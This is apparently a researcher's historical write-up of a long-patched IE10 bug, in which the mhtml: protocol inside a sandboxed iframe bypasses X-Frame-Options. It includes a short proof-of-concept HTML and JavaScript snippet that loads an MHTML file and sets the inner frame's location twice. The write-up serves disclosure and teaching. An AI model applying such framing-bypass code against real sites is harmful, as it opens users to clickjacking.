IE10: X-Frame-Options Header Bypassed via mhtml: Protocol in Sandboxed iframe

I found that loading an MHTML file inside a sandboxed iframe using the mhtml: protocol prefix, and then navigating the inner iframe twice to the target URL, bypassed the X-Frame-Options: DENY or SAMEORIGIN headers on that target. The real root issue was that MHTML files could be loaded in sandboxed iframes at all; the X-Frame-Options bypass was just one consequence. Setting the target iframe’s location twice was necessary — the first set went to blank, the second succeeded.

<iframe sandbox="allow-scripts ms-allow-popups allow-forms" width="700" height="190"></iframe>
<script>
window.onload = function()
{
    var currentPath = location.href.substring(0,location.href.lastIndexOf('/')+1);
    var mhtmlUrl = "mhtml:" + currentPath + "mht.mht";
    window[0].location = mhtmlUrl; // Load the mhtml file into the sandboxed iframe.
}

function main()
{
    // This does not do anything, it will set the iFrame to blank. Crazy.
    setTimeout('window[0][0].location = document.all.sUrl.value;', 1000);
    // But this second time, the target gets loaded, bypassing its X-Frame header.
    setTimeout('window[0][0].location = document.all.sUrl.value;', 2000);
}
</script>

The MHTML file contained its own inner iframe. After loading the MHTML, the attacker set that inner iframe’s location to a target that returns X-Frame-Options: DENY. The first assignment produced an unexpected blank; the second caused the target to load regardless of its framing policy.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.